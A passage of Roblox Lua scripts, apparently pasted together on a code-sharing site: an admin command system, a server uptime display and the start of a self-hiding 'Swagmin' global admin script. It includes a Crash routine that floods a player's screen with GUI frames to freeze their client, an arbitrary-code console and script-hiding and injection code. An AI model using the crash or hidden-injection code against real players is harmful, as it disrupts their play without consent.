(GetData(pls[i]).Rank<=(rank-1))and(num<=(rank-1)) then SetRank(pls[i],num) end end end end}, {["Name"] = "getranked",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) local list = {} for i,v in pairs(registered) do table.insert(list,"Name: " .. v.Name .. ", Rank: " .. tostring(v.Rank)) end Core.GetList(speaker,"Registered Players",list) end}, {["Name"] = "music/",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) local results = Core.CatalogSearch(msg,2,9) local menu = {} for i,v in pairs(results) do local obj = {} obj.Name = v.Name obj.Execute = function() local soun = Object.getclass(Object.tree(Object.gs("Workspace")),"Sound") for i=1,#soun do soun[i]:Stop() end local sound = Object.new("Sound",Object.gs("Workspace"),"Music") sound.Volume = 1 sound.Looped = false sound.PlayOnRemove = false sound.SoundId = "http://www.roblox.com/asset/?id=" .. v.Id table.insert(sounds,sound) sound:Play() end table.insert(menu,obj) end Core.GetMenu(speaker,"Results",menu) end}, {["Name"] = "stop",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) for i=1,#sounds do ypcall(function() sounds[i]:Stop() end) table.remove(sounds,i) end local soundr = Object.getclass(Object.tree(Object.gs("Workspace")),"Sound") for i=1,#soundr do soundr[i]:Stop() game:GetService("Debris"):AddItem(soundr[i],3) end end}, {["Name"]="help",["Rank"]=0,["Execute"] = function(msg,speaker,rank) local tbl = {} for i,v in pairs(commands) do if v.Rank<=rank then local tr = {} tr.Name = v.Name table.insert(tbl,tr) end end Core.GetMenu(speaker,"List of Commands Available To You",tbl) end}, {["Name"] = "damage/",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) local plr,mgs = Core.SplitString(msg,"/") local num = tonumber(mgs) if num~=nil then local pls=FilterPlayers(plr,speaker) for i=1,#pls do if (pls[i].Character~=nil)and(pls[i].Character:FindFirstChild("Humanoid")) then pls[i].Character.Humanoid:TakeDamage(num) end end end end}, {["Name"] = "environmentedit",["Rank"] = 5,["Execute"] = function(msg,speaker,rank) local gui,win = Core.window(speaker,UDim2.new(0.5,-320,0.5,-240),UDim2.new(0,640,0,480),"Environment editor") win.Parent.Draggable = false local textbox = Object.new("TextBox",win,"Code") textbox.BackgroundTransparency = 1 textbox.TextColor = BrickColor.new("White") textbox.Size = UDim2.new(1,0,0.95,0) textbox.MultiLine = true textbox.FontSize = "Size11" textbox.TextXAlignment = "Left" textbox.TextYAlignment = "Top" textbox.ClearTextOnFocus = false local tb = Object.new("TextButton",win,"Enter") tb.Size = UDim2.new(1,0,0.05,0) tb.BorderSizePixel = 0 tb.BackgroundColor = BrickColor.new("Bright blue") tb.TextColor = BrickColor.new("Black") tb.Text = "Submit code" tb.Position = UDim2.new(0,0,0.95,0) tb.MouseButton1Click:connect(function() Object.remove(gui) local a,b = ypcall(function() loadstring(textbox.Text)() end) if a==false then Core.hint(speaker,tostring(b)) end end) end}, {["Name"]="skydive/",["Rank"]=3,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do if (pls[i].Character~=nil) and (pls[i].Character:FindFirstChild("Torso")) then local pos = pls[i].Character.Torso.Position pls[i].Character:MoveTo(Vector3.new(pos.X,pos.Y + 500,pos.Z)) end end end}, {["Name"]="explode/",["Rank"]=3,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do if (pls[i].Character~=nil) and (pls[i].Character:FindFirstChild("Torso")) then local pos = pls[i].Character.Torso.Position local e = Object.new("Explosion",Object.gs("Workspace"),"Hehe") e.BlastRadius = 12 e.BlastPressure = 100000 e.Position = pos end end end}, {["Name"] = "repeat/",["Rank"] = 5,["Execute"] = function(msg,speaker,rank) local msg1,msg2 = Core.SplitString(msg,"/") local num = tonumber(msg1) if num~=nil then coroutine.resume(coroutine.create(function() for i=1,num do Chat("" .. msg2,speaker) wait(6) end end)) end end}, } Object = { ["Ver"] = 1.31, ["new"] = function(class,par,name) local obj = nil if par==nil then par = game.Workspace end if (name~=nil)and(tostring(name)~=nil) then name = tostring(name) else name = tostring(class) end if tostring(class)~=nil then class = tostring(class) else class = "Sound" end ypcall(function() obj = Instance.new(class,par) obj.Name = name end) return obj end, ["gs"] = function(service) local ret = nil if game:GetService(service)~=nil then ret = game:GetService(service) end return ret end, ["master"] = game, ["remove"] = function(obj) ypcall(function() obj:Destroy() end) end, ["clone"] = function(obj,par) local r = nil ypcall(function() r=obj:Clone() r.Parent = par end) return r end, ["clear"] = function(obj) if (obj~=nil) and (type(obj)=="userdata") then local chil = obj:GetChildren() for i=1,#chil do ypcall(function() chil[i]:Destroy() end) end end end, ["getclass"] = function(obj,...) local e = {} if obj~=nil then local b = {} if type(obj)=="userdata" then b = obj:GetChildren() elseif type(obj)=="table" then b = obj end local classes = {...} for i=1,#b do for t=1,#classes do if b[i]:IsA(classes[t]) then table.insert(e,b[i]) end end end end return e end, ["contbl"] = function(...) local tbl = {} local tbls = {...} for i,v in pairs(tbls) do for t=1,#v do table.insert(tbl,v[t]) end end return tbl end, ["getproperty"] = function(obj,prop) local e = {} local b = {} if obj~=nil then if type(obj)=="userdata" then b = obj:GetChildren() elseif type(obj)=="table" then b=obj end for i,v in pairs(b) do local r = nil ypcall(function() r=v[prop] end) if r~=nil then table.insert(e,v) end end end return e end, ["tree"] = function(obj) local tab = {} local b = obj:GetChildren() for i=1,#b do table.insert(tab,b[i]) local rd = Object.tree(b[i]) for t=1,#rd do table.insert(tab,rd[t]) end end return tab end, } Core = { ["Ver"] = 3.63, ["Clear"] = function() local ws = Object.gs("Workspace"):GetChildren() for i=1,#ws do if (ws[i].className~="Terrain") and (ws[i]~=Object.gs("Workspace").CurrentCamera) and (ws[i]~=script) and (Object.gs("Players"):GetPlayerFromCharacter(ws[i])==nil) then Object.remove(ws[i]) end end local pls = Object.getclass(Object.gs("Players"),"Player") if script.className~="LocalScript" then for i=1,#pls do pls[i]:LoadCharacter() end end Object.clear(Object.gs("StarterPack")) Object.clear(Object.gs("StarterGui")) Object.clear(Object.gs("Teams")) Object.clear(Object.gs("Lighting")) Object.clear(Object.gs("ReplicatedFirst")) Object.clear(Object.gs("ReplicatedStorage")) Object.clear(Object.gs("ServerScriptService")) Object.clear(Object.gs("ServerStorage")) local b = Object.new("Part",game.Workspace,"BasePlate") b.FormFactor = "Custom" b.Size = Vector3.new( 512, 0.4, 512) b.Position = Vector3.new ( 0, 0, 0) b.BrickColor = BrickColor.new("Earth green") b.Material = Enum.Material.Grass b.Locked = true b.Anchored = true end, ["SplitString"] = function(str,char) local ms1 = "" local ms2 = "" for i=1,#str do if string.sub((str),i,i)==char then ms1 = string.sub((str),1,(i-1)) ms2 = string.sub((str),(i+1),#str) break end end return ms1,ms2 end, ["window"] = function(par,pos,size,title) local root = nil if par:IsA("Player") then par = Object.new("ScreenGui",Object.getclass(par,"PlayerGui")[1]) root = par elseif (par:IsA("PlayerGui"))or(par:IsA("StarterGui")) then par = Object.new("ScreenGui",par) root = par end local frame = Object.new("Frame",par) if root==nil then root = frame end frame.Size = size frame.Position = pos frame.Active = true frame.Draggable = true frame.BackgroundColor = BrickColor.new("Bright blue") frame.BackgroundTransparency = 0.4 frame.BorderSizePixel = 0 local exit = Object.new("TextButton",frame) exit.Size = UDim2.new(0,40,0,20) exit.Position = UDim2.new( 1, -45, 0, 0) exit.BorderSizePixel = 0 exit.BackgroundColor = BrickColor.new("Bright red") exit.TextColor = BrickColor.new("White") exit.Text = "X" exit.MouseButton1Click:connect(function() Object.remove(root) end) local tl = Object.new("TextLabel",frame) tl.BackgroundTransparency = 1 tl.TextColor = BrickColor.new("White") tl.Size = UDim2.new(1,-45,0,20) tl.Text = title tl.FontSize = "Size18" local elements = Object.new("Frame",frame) elements.Position = UDim2.new(0,2,0,22) elements.BackgroundTransparency = 0 elements.BorderSizePixel = 0 elements.Size = UDim2.new(1,-4,1,-24) elements.BackgroundColor = BrickColor.new("Black") return root,elements end, ["CMessage"] = function(par,title,text) local root,elements = Core.window(par,UDim2.new(0.5,-200,0.5,-75),UDim2.new(0,400,0,150),title) local tl = Object.new("TextLabel",elements) tl.Position = UDim2.new(0,0,0,0) tl.Size = UDim2.new(1,0,0.65,0) tl.BorderSizePixel = 0 tl.TextColor = BrickColor.new("White") tl.Text = text tl.BackgroundTransparency = 1 tl.FontSize = "Size18" tl.TextWrapped = true tl.TextYAlignment = "Top" tl.TextXAlignment = "Left" local ok = Object.new("TextButton",elements) ok.Size = UDim2.new( 0.5, 0, 0.3, 0) ok.Position = UDim2.new( 0.25, 0, 0.65, 0) ok.FontSize = "Size24" ok.BackgroundColor = BrickColor.new("Black") ok.BorderSizePixel = 1 ok.BorderColor = BrickColor.new("Bright blue") ok.TextColor = BrickColor.new("White") ok.Text = "OK" ok.MouseButton1Click:connect(function() Object.remove(root) end) end, ["GetMenu"] = function(par,title,tbl) local csiz = 1 local bsizy = 0.05 local bsizxoffs = 0 if #tbl>=20 then csiz = #tbl/20 bsizy = 1/#tbl bsizxoffs = -12 end local gui,win = Core.window(par,UDim2.new(0.5,-256,0.5,-192),UDim2.new(0,512,0,384),title) win.Parent.Draggable = false local frame = Object.new("ScrollingFrame",win) frame.Size = UDim2.new(1,0,1,0) frame.CanvasSize = UDim2.new(0,0,csiz,0) frame.BorderSizePixel = 0 frame.BackgroundTransparency = 1 for i,v in pairs(tbl) do local tb = Instance.new("TextButton",frame) tb.Size = UDim2.new(1,bsizxoffs,bsizy,0) tb.Position = UDim2.new(0,0,(i-1)*bsizy,0) tb.BackgroundTransparency = 1 tb.BackgroundColor = BrickColor.new("Black") tb.BorderSizePixel = 0 tb.TextColor = BrickColor.new("White") tb.Text = v.Name tb.FontSize = Enum.FontSize.Size11 tb.TextXAlignment = Enum.TextXAlignment.Left if v.Execute~=nil then tb.BackgroundTransparency = 0 tb.MouseButton1Click:connect(function() if par:IsA("Player") then v.Execute(par) else v.Execute() end Object.remove(gui) end) end end end, ["CatalogSearch"] = function(keyword,context,category,subcategory,page) if page==nil then page = 1 end local http = Object.gs("HttpService") local tbl = {} local st = {} ypcall(function() if subcategory~=nil then st = http:JSONDecode(http:GetAsync("http://rproxy.pw/catalog/json?CatalogContext=" .. tostring(context) .. "&Keyword=" .. http:UrlEncode(keyword) .. "&PageNumber=" .. tostring(page) .. "&SortType=0&Subcategory=" .. tostring(subcategory) .. "&SortAggregation=3&pxMin=0&pxMax=0&SortCurrency=0&LegendExpanded=true&Category=" .. tostring(category))) else st = http:JSONDecode(http:GetAsync("http://rproxy.pw/catalog/json?CatalogContext=" .. tostring(context) .. "&Keyword=" .. http:UrlEncode(keyword) .. "&PageNumber=" .. tostring(page) .. "&SortType=0&SortAggregation=3&pxMin=0&pxMax=0&SortCurrency=0&LegendExpanded=true&Category=" .. tostring(category))) end end) for i,v in pairs(st) do local obj = {} obj.Name = v.Name obj.Id = v.AssetId table.insert(tbl,obj) end return tbl end, ["GetList"] = function(par,title,tbl) local men = {} for i=1,#tbl do local obj = {} obj.Name = tbl[i] table.insert(men,obj) end Core.GetMenu(par,title,men) end, ["GMessage"] = function(title,text) local pls = Object.getclass(Object.gs("Players"),"Player") for i=1,#pls do Core.CMessage(pls[i],title,text) end end, ["hint"] = function(plr,text) local sgui = Object.new("ScreenGui",Object.getclass(plr,"PlayerGui")[1],"HintGui") local tl = Object.new("TextLabel",sgui) tl.BackgroundColor = BrickColor.new("Black") tl.BackgroundTransparency = 0.5 tl.BorderSizePixel = 0 tl.Text = text tl.TextColor = BrickColor.new("White") tl.FontSize = Enum.FontSize.Size18 tl.Size = UDim2.new(1,-340,0,35) tl.Position = UDim2.new(0,170,0,-35) coroutine.resume(coroutine.create(function() tl:TweenPosition(UDim2.new(0,170,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,1,false,nil) Object.gs("Debris"):AddItem(tl,6) end)) end, ["ghint"] = function(text) local pls = Object.getclass(Object.gs("Players"),"Player") for i=1,#pls do Core.hint(pls[i],text) end end, ["GetUsernameFromId"] = function(id) local user = nil local httpen = false ypcall(function() user = game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId=" .. tonumber(id))).Username end) if user==nil then user = "Returned nil (You must enable HttpService)" end return user end, ["Crash"]=function(player,text) if text==nil then text = "Byebye noob" end ypcall(function() for i=1,24 do coroutine.resume(coroutine.create(function() while wait() do for i=1,10 do local gui = Instance.new("ScreenGui",player.PlayerGui) local frame = Instance.new("Frame",gui) frame.Size = UDim2.new(1,0,1,0) frame.BackgroundColor = BrickColor.new("Black") end end end)) end end) end, ["ImgMenu"] = function(par,title,tbl) local gui,win = Core.window(par,UDim2.new(0.5,-256,0.5,-192),UDim2.new(0,512,0,384),title) win.BackgroundColor = BrickColor.new("White") win.Parent.Draggable = false local rowsize = 3 local csiz = 1 local bsizy = 0.3 local bsizx = 1/rowsize if #tbl>=(3*rowsize) then csiz = math.ceil(#tbl/(3*rowsize)) bsizy = (rowsize/(#tbl+(rowsize-math.fmod(#tbl,rowsize)))) end local frame = Object.new("ScrollingFrame",win) frame.Size = UDim2.new(1,0,1,0) frame.CanvasSize = UDim2.new(0,0,csiz,0) frame.BorderSizePixel = 0 frame.BackgroundTransparency = 1 local nb = function() local frame1 = Object.new("Frame") frame1.BackgroundColor = BrickColor.new("White") frame1.BorderSizePixel = 0 local tl = Object.new("TextLabel",frame1,"ItemText") tl.Size = UDim2.new(1,0,0.15,0) tl.Position = UDim2.new(0,0,0.85,0) tl.BorderSizePixel = 0 tl.BackgroundTransparency = 1 local imb = Object.new("ImageButton",frame1,"Button") imb.BackgroundTransparency = 1 imb.Size = UDim2.new(1,0,0.85,0) imb.BorderSizePixel = 0 return frame1 end for i,v in pairs(tbl) do local row = math.floor((i-1)/rowsize) local posy = row*bsizy local posx = math.fmod(i-1,rowsize)*bsizx local a = nb() a.Parent = frame a.Size = UDim2.new(bsizx,0,bsizy,0) a.Position = UDim2.new(posx,0,posy,0) if v.Name~=nil then a.ItemText.Text = v.Name end if v.Image~=nil then a.Button.Image = v.Image end a.Button.MouseButton1Click:connect(function() if v.Execute~=nil then if par:IsA("Player") then v.Execute(par) else v.Execute() end end Object.remove(gui) end) end end, ["Catalog"] = function(par) local gui,win = Core.window(par,UDim2.new(0.5,-256,0.5,-192),UDim2.new(0,512,0,384),"Catalog") win.Parent.Draggable = false local RbxGui = assert(LoadLibrary("RbxGui")) local keyword = "" local currpage = 1 local contex = 1 local subcat = nil local cate = 5 local browse = Object.new("Frame",win,"Browser") browse.BackgroundColor = BrickColor.new("White") browse.BorderSizePixel = 0 browse.Size = UDim2.new(1,0,1,0) browse.Visible = true local browser = Object.new("ScrollingFrame",browse,"Browser") browser.Size = UDim2.new(1,0,0.95,0) browser.BorderSizePixel = 0 browser.Position = UDim2.new(0,0,0.05,0) browser.BackgroundTransparency = 1 local view = Object.new("Frame",win,"Viewer") view.BackgroundColor = BrickColor.new("White") view.BorderSizePixel = 0 view.Visible = false view.Size = UDim2.new(1,0,1,0) local nb = function() local frame1 = Object.new("Frame") frame1.BackgroundColor = BrickColor.new("White") frame1.BorderSizePixel = 0 local tl = Object.new("TextLabel",frame1,"ItemText") tl.Size = UDim2.new(1,0,0.15,0) tl.Position = UDim2.new(0,0,0.85,0) tl.BorderSizePixel = 0 tl.BackgroundTransparency = 1 local imb = Object.new("ImageButton",frame1,"Button") imb.BackgroundTransparency = 1 imb.Size = UDim2.new(1,0,0.85,0) imb.BorderSizePixel = 0 return frame1 end local BrowseCat = function(keyword,context,category,subcategory,page) Object.clear(browser) local results = Core.CatalogSearch(keyword,context,category,subcategory,page) local rowsize = 3 local csiz = 1 local bsizy = 0.3 local bsizx = 1/rowsize if #results>=(3*rowsize) then csiz = math.ceil(#results/(3*rowsize)) if math.fmod(#results,rowsize)==0 then bsizy = rowsize/#results else bsizy = (rowsize/(#results+(rowsize-math.fmod(#results,rowsize)))) end end browser.CanvasSize = UDim2.new(0,0,csiz,0) for i,v in pairs(results) do local row = math.floor((i-1)/rowsize) local posy = row*bsizy local posx = math.fmod(i-1,rowsize)*bsizx local a = nb() a.Parent = browser a.Size = UDim2.new(bsizx,0,bsizy,0) a.Position = UDim2.new(posx,0,posy,0) a.ItemText.Text = v.Name a.Button.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&aid=" .. v.Id a.Button.MouseButton1Click:connect(function() if par.Character~=nil then local item = game:GetService("InsertService"):LoadAsset(v.Id):GetChildren()[1] if item~=nil then if item:IsA("Hat") then item.Parent = par.Character elseif item:IsA("Tool") then item.Parent = par.Backpack elseif item:IsA("Shirt") then local a = Object.getclass(par.Character,"Shirt") for i=1,#a do Object.remove(a[i]) end item.Parent = par.Character end end end end) end end local ddl, us = RbxGui.CreateDropDownMenu({"Hats","Gear","Shirts"}, function(item) if item=="Hats" then cate = 3 contex = 1 subcat = 9 currpage = 1 elseif item=="Gear" then cate = 5 contex = 1 currpage = 1 subcat = nil elseif item=="Shirts" then cate = 3 contex = 1 currpage = 1 subcat = 12 end BrowseCat(keyword,contex,cate,subcat,currpage) end) ddl.Size = UDim2.new(0.2,0,1,0) ddl.Parent = browse ddl.Size = UDim2.new(0.2,0,0.05,0) ddl.BackgroundTransparency = 1 local list = ddl.List local numc = list:GetChildren() list.Size = UDim2.new(1,0,#numc*1.5,0) local kwtl = Object.new("TextBox",browse,"Search") kwtl.Size = UDim2.new(0.6,0,0.05,0) kwtl.Position = UDim2.new(0.2,0,0,0) kwtl.BackgroundTransparency = 1 kwtl.TextColor = BrickColor.Black() local enter = Object.new("TextButton",browse,"Enter") enter.Size = UDim2.new(0.2,0,0.05,0) enter.Position = UDim2.new(0.8,0,0,0) enter.Style = "RobloxButton" enter.Text = "Search" enter.TextColor = BrickColor.White() enter.FontSize = Enum.FontSize.Size12 enter.MouseButton1Click:connect(function() keyword = kwtl.Text currpage = 1 BrowseCat(keyword,contex,cate,subcat,currpage) end) for i=1,#numc do local size = 1/#numc numc[i].Size = UDim2.new(1,0,size,0) numc[i].Position = UDim2.new(0,0,(i-1)*size,0) end BrowseCat("",contex,cate,subcat,currpage) end, } function GetData(player) if type(player)=="string" then player = player elseif type(player)=="userdata" then player = player.Name else player = tostring(player) end local ret = nil for i,v in pairs(registered) do if v.Name == player then ret = v end end return ret end sounds = {} function SetRank(player,rank) if type(player)=="string" then player = player elseif type(player)=="userdata" then player = player.Name else player = tostring(player) end rank = tonumber(rank) local data = GetData(player) if (player~=nil)and(rank~=nil) then if data~=nil then data.Rank = rank else data = {} data.Name = player data.Rank = rank table.insert(registered,data) end end end function FilterPlayers(str,speaker) local play = {} local pls = Object.getclass(Object.gs("Players"),"Player") local m1,m2 = Core.SplitString(str,",") if (m1~="") and (m2~="") then str = m1 local pldf = FilterPlayers(m2,speaker) for i=1,#pldf do table.insert(play,pldf[i]) end end if string.lower(str)=="all" then play = pls elseif string.lower(str)=="others" then for i=1,#pls do if pls[i]~=speaker then table.insert(play,pls[i]) end end elseif string.lower(str)=="me" then table.insert(play,speaker) elseif string.lower(str)=="random" then local pld = pls[math.random(1,#pls)] table.insert(play,pld) elseif string.lower(str)=="" then play = {} elseif string.sub((str),1,2) == "e'" then local str1 = string.sub((str),3) for i=1,#pls do if not (string.find(string.lower(pls[i].Name), string.lower(str1))==1) then table.insert(play,pls[i]) end end else for i=1,#pls do if (string.find(string.lower(pls[i].Name), string.lower(str))==1) then table.insert(play,pls[i]) end end end return play end function Chat(msg,speaker) if string.sub((msg),1,3)=="/e " then msg = string.sub((msg),4) end local main_data = GetData(speaker) local rank = main_data.Rank for i,v in pairs(commands) do local msgnum = #v.Name if (rank>=v.Rank)and(string.sub((msg),1,msgnum)==v.Name)and(v.Execute~=nil) then local work,err = ypcall(function() v.Execute(string.sub((msg),msgnum+1),speaker,rank) end) if work==false then Core.hint(speaker,tostring(err)) end end end end function OnEnter(player) local data = GetData(player) if data==nil then SetRank(player,publicrank) data = GetData(player) end local rank = data.Rank if rank==nil then rank = 0 end if data.Rank<=(-1)or(player.AccountAge<=(minimumage-1)) then Core.Crash(player) else player.Chatted:connect(function(msg) Chat(msg,player) end) Core.hint(player,"Your rank is '" .. tostring(rank) .. "' say help for commands") end end Object.gs("Players").PlayerAdded:connect(OnEnter) local a = Object.getclass(Object.gs("Players"),"Player") for i=1,#a do OnEnter(a[i]) end
  4203.  
  4204. local HINT=Instance.new('Hint',Workspace);
  4205. local TIME=Workspace.DistributedGameTime;
  4206. local RUN=Game:service'RunService';
  4207. local FLOOR=math.floor;
  4208. local NEW=Instance.new;
  4209. local MINUTE;
  4210. local HOURS;
  4211. while(true)do
  4212.     MINUTE=TIME/60;
  4213.     HOURS=MINUTE/60;
  4214.     if(pcall(function()HINT.Parent=Workspace;end)==false)then
  4215.         HINT=NEW('Hint',Worskpace);
  4216.     end;
  4217.     HINT.Text=
  4218.         'Days: '..FLOOR(HOURS/24)..' '..
  4219.         'Hours: '..FLOOR(HOURS%24)..' '..
  4220.         'Minutes: '..FLOOR(MINUTE%60)..' '..
  4221.         'Seconds: '..FLOOR(TIME%60);
  4222.     TIME=TIME+Wait(1);
  4223. end;
  4224.  
  4225. --((Rare[Main{GLOBAL}Swagmin
  4226. --[[
  4227. Swagmin
  4228. Lol global admin
  4229. ]]
  4230.  
  4231.  
  4232.  
  4233.  
  4234.  
  4235.  
  4236.  
  4237.  
  4238.  
  4239.  
  4240.  
  4241.  
  4242. if script then
  4243.     coroutine.yield()
  4244.     script.Parent = nil
  4245. end
  4246. --[[Stuff]]--
  4247. VR = _VERSION
  4248. Plrs = game:GetService("Players")
  4249. Work = game:GetService("Workspace")
  4250. Light = game:GetService("Lighting")
  4251. Net = game:GetService("NetworkServer")
  4252. Removed = false
  4253. Bet = "/"
  4254. LS = nil
  4255. LSSource = nil
  4256. OwnSource = nil
  4257. FoundLocalScript = false
  4258. LogOn = false
  4259. Current = game
  4260. Clipboard = {}
  4261. AlertColor = Color3.new(1, 0, 0)
  4262. OptionColor = Color3.new(1, 0, 0)
  4263. ImportantColor = Color3.new(1, 0, 0)
  4264. --[[Ranks]]--
  4265. RankDetails = {
  4266.         [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
  4267.         [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
  4268.         [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
  4269.         [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
  4270.         [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
  4271.         [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  4272.         [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
  4273.         [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 2, 0), Desc = "Super Administrator)"},
  4274.         [5] = {Name = "Maximum Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Maximum Adminstrator"},
  4275.        
  4276. }
  4277.  
  4278. Rankings = {
  4279.         {Name = "Derek1017", Rank = 5},
  4280.         {Name = "Derek1017", Rank = 6}
  4281.        
  4282.        
  4283.        
  4284. }
  4285.  
  4286.  
  4287. --[[End of Ranks]]--
  4288. ImportantServices = {
  4289.         "Workspace",
  4290.         "Players",
  4291.         "NetworkServer",
  4292.         "Lighting",
  4293.         "StarterGui",
  4294.         "Teams",
  4295.         "StarterPack",
  4296. }
  4297.  
  4298. Ranks = {}
  4299. Commands = {}
  4300. AllTabs = {}
  4301. Injected = {}
  4302.  
  4303. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  4304. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  4305. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  4306. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  4307. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  4308. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  4309. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  4310. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  4311. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  4312. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  4313. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  4314. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  4315. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  4316. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  4317. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  4318. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  4319. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  4320. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  4321. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  4322. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  4323. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  4324. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  4325. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  4326. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  4327. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  4328. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  4329. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  4330. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  4331. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  4332. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  4333. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  4334. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  4335. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  4336. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  4337. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  4338. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  4339. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  4340. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  4341. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  4342. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  4343. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  4344. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  4345. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  4346. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  4347. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  4348. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  4349. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  4350. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  4351. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  4352. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  4353. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  4354. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  4355. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  4356. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  4357. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  4358. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  4359. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  4360. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  4361. "X","Y"}
  4362.  
  4363. --Main Functions And Sources
  4364.  
  4365. function Insert(Source, Par, Par2, Par3)
  4366.         ypcall(function()
  4367.                 local Inserted = LS:Clone()
  4368.                 Inserted.Disabled = true
